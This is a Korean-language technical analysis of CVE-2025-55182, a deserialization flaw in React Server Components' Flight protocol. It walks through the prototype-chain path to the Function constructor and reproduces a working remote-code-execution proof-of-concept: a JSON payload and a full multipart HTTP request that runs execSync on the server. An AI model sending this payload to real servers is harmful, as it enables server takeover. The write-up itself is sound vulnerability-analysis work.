React Server Components
React Server Component는 React19에 도입된 기능으로 컴포넌트를 클라이언트 브라우저가 아닌 서버에서 렌더링 할 수 있도록 합니다. 이 기능은 서버가 연산 집약적인 작업을 처리하는 동시에 렌더링된 결과만 클라이언트에 전송할 수 있으므로 상당한 성능 이점을 제공합니다.
RSC에서 서버와 클라이언트 간의 통신은 React Flight라는 프로토콜을 사용합니다. 이 프로토콜은 서버와 클라이언트 간에 전송되는 데이터의 직렬화 및 역 직렬화를 처리 합니다. 클라이언트가 서버측 함수를 호출해야 할 때, 직렬화된 데이터가 포함된 특수 형식의 요청을 전송하고 서버는 이를 역직렬화 하여 처리합니다.
Flight 프로토콜은 타입 마커가 포함된 특정 직렬화 형식을 사용 합니다.
$@ - 청크참조
$B - Blob 참조
참조에는 콜론으로 구분하여 속성 경로를 포함 함 수 있습니다. ($1:constructor:constructor)
이러한 직렬화 메커니즘에 취약점이 존재 합니다. 서버는 요청된 속성이 의도된 모듈에서 합법적으로 내보낸 것인지 제대로 검증하지 않고 이러한 참조를 처리합니다.
cve 2025-55182가 터지는 이유
cve 2025-55182는 React Sever Components가 수신 Flight 프로토콜 페이로드를 처리하는 방식에 존재하는 안전하지 않은 역직렬화 취약점 입니다. 이 취약점은 react-server-dom-webpack 패키지 내의 requireModule 함수에 존재합니다.
function requireModule(metadata) {
var moduleExports = __webpack_require__(metadata[0]);
// 추가 로직
return moduleExports[metadata[2]]; // 취약한 라인
}
취약한 라인은 moduleExports[metadata[2]]에 있습니다.
metadata[2]는 클라이언트가 Flight 프로토콜을 통해 서버로 보낸 속성 이름(Property Name)입니다.
결함은 자바스크립트의 대괄호 표기법([])으로 속성에 접근할 때 발생합니다. 자바 스크립트 엔진은 단순히 해당 객체의 속성만 확인하는 것이 아니라 전체 프로토타입 체인(Prototype Chain)을 따라가면서 속성을 탐색합니다. 따라서 공격자는 모듈이 Export 하지 않은 속성까지 참조 할 수 있습니다.
cve 2025-55182의 공격 경로
공격자가 해당 취약점을 악용하여 RCE 취약점에 이르는 경로는 다음과 같습니다.
- constructor 속성 접근
- 자바 스크립트에서 모든 함수는 constructor라는 속성을 가지고 있으며, 이 속성은 전역 Function 생성자를 가리킵니다.
- 공격자가 someFunction.constructor를 호출하여 Function 생성자에 대한 참조를 얻으면 이를 통해 문자열 형태의 코드를 인수로 받아 실행 할 수 있게 됩니다.
- 페이로드 조작을 통한 우회
- React의 Flight 프로토콜은 클라이언트가 콜론으로 구분된 참조 구문을 사용하여 속성 경로를 지정할 수 있도록 허용 합니다.
- 공격자는 $1:constructor:constructor와 같은 악성 참조를 페이로드에 삽입 할 수 있습니다.
- 단계별 실행
- $1: 해당 청크 모듈을 가져옵니다.
- constructor : .constructor 속성에 접근하여 Function 생성자를 얻습니다.
- constructor : Function 생성자 객체에 다시 .constructor를 호출합니다.
Maple3142 Proof-of-concept
{
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1,
"value": "{\\\\"then\\\\":\\\\"$B1337\\\\"}",
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('xcalc');",
"_chunks": "$Q2",
"_formData": {
"get": "$1:constructor:constructor"
}
}
}
- 가짜 청크 객체 생성
공격은 서버에 세 개의 필드를 가진 멀티파트 폼 요청을 보내는 것으로 시작합니다. 첫 번째 필드에는 RSC의 내부 Chunk 클래스 구조를 모방한 악의적으로 조작된 객체가 포함 됩니다.- then 속성 조작: 해당 객체는 then 속성을 Chunk.prototype.then을 참조하도록 설정하여 자기 참조적 구조를 만듭니다.
- Promise 로직 악용: React가 이 객체를 처리하고 청크가 해결되기를 기다릴 때, then 매서드가 이 가짜 청크 객체를 컨텍스트로 사용하여 호출됩니다. 이로서 공격은 다음 단계로 넘어갈 준비를 합니다.
- Blob 역직렬화 핸들러 악용
공격의 두번째 핵심 요소는 value 필드에 있는 $B 핸들러 참조 입니다.- $B 참조의 역할 : React의 Flight 프로토콜에서 $B 접두사는 Blob 참조를 나타냅니다. React가 이 Blob 참조를 처리할 때, 내부적으로 response._fromData.get(response._prefix + id)와 유사한 함수를 호출하게 됩니다.
- 공격 경로 결합
- _formdata.get 오염 : 가짜 청크 객체에서 _formdata.get은 “$1:constructor:constructor”를 가리키도록 설정 되어 있습니다. “$1:constructor:constructor”은 결국 Function 생성자로 해석 됩니다.
- 코드 주입 : _prefix 속성에는 실행하고자 하는 악성코드 문자열이 담겨 있습니다.
| 결과 | Function("process.mainModule.require('child_process').execSync('xcalc');1337") |
Maple3142 Proof-of-concept result
POST / HTTP/1.1
Host: localhost
Next-Action: x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="0"
{"then":"$1:__proto__:then","status":"resolved_model","reason":-1,"value":"{\\\\"then\\\\":\\\\"$B1337\\\\"}","_response":{"_prefix":"process.mainModule.require('child_process').execSync('xcalc');","_chunks":"$Q2","_formData":{"get":"$1:constructor:constructor"}}}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="1"
"$@0"
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name="2"
[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
- 헤더 Next-Action: X는 React의 서버 액션 처리를 트리거합니다.
- 멀티파티 본문 :
- 필드 0 : 악성 _response 구조를 포함하는 가짜 Chunk 객체 입니다.
- 필드 1 : $@0 참조입니다. 이는 필드 0을 다시 가리키는 자체 참조(self-reference)를 생성합니다.
- 필드 2 : 필요한 구조를 완성하는 빈 배열 입니다.
작동 원리 :
서버가 이 요청을 처리할 때, 필드 0을 역직렬화 합니다. 그리고 필드 1에서 $@0 자체 참조를 만나게 되고, 이로 인해 자체 참조적인 then 속성을 설정합니다. 그 결과, Blob 핸들러가 트리거되어 Functuon 생성자를 통해 우리가 삽입한 코드가 실행 됩니다.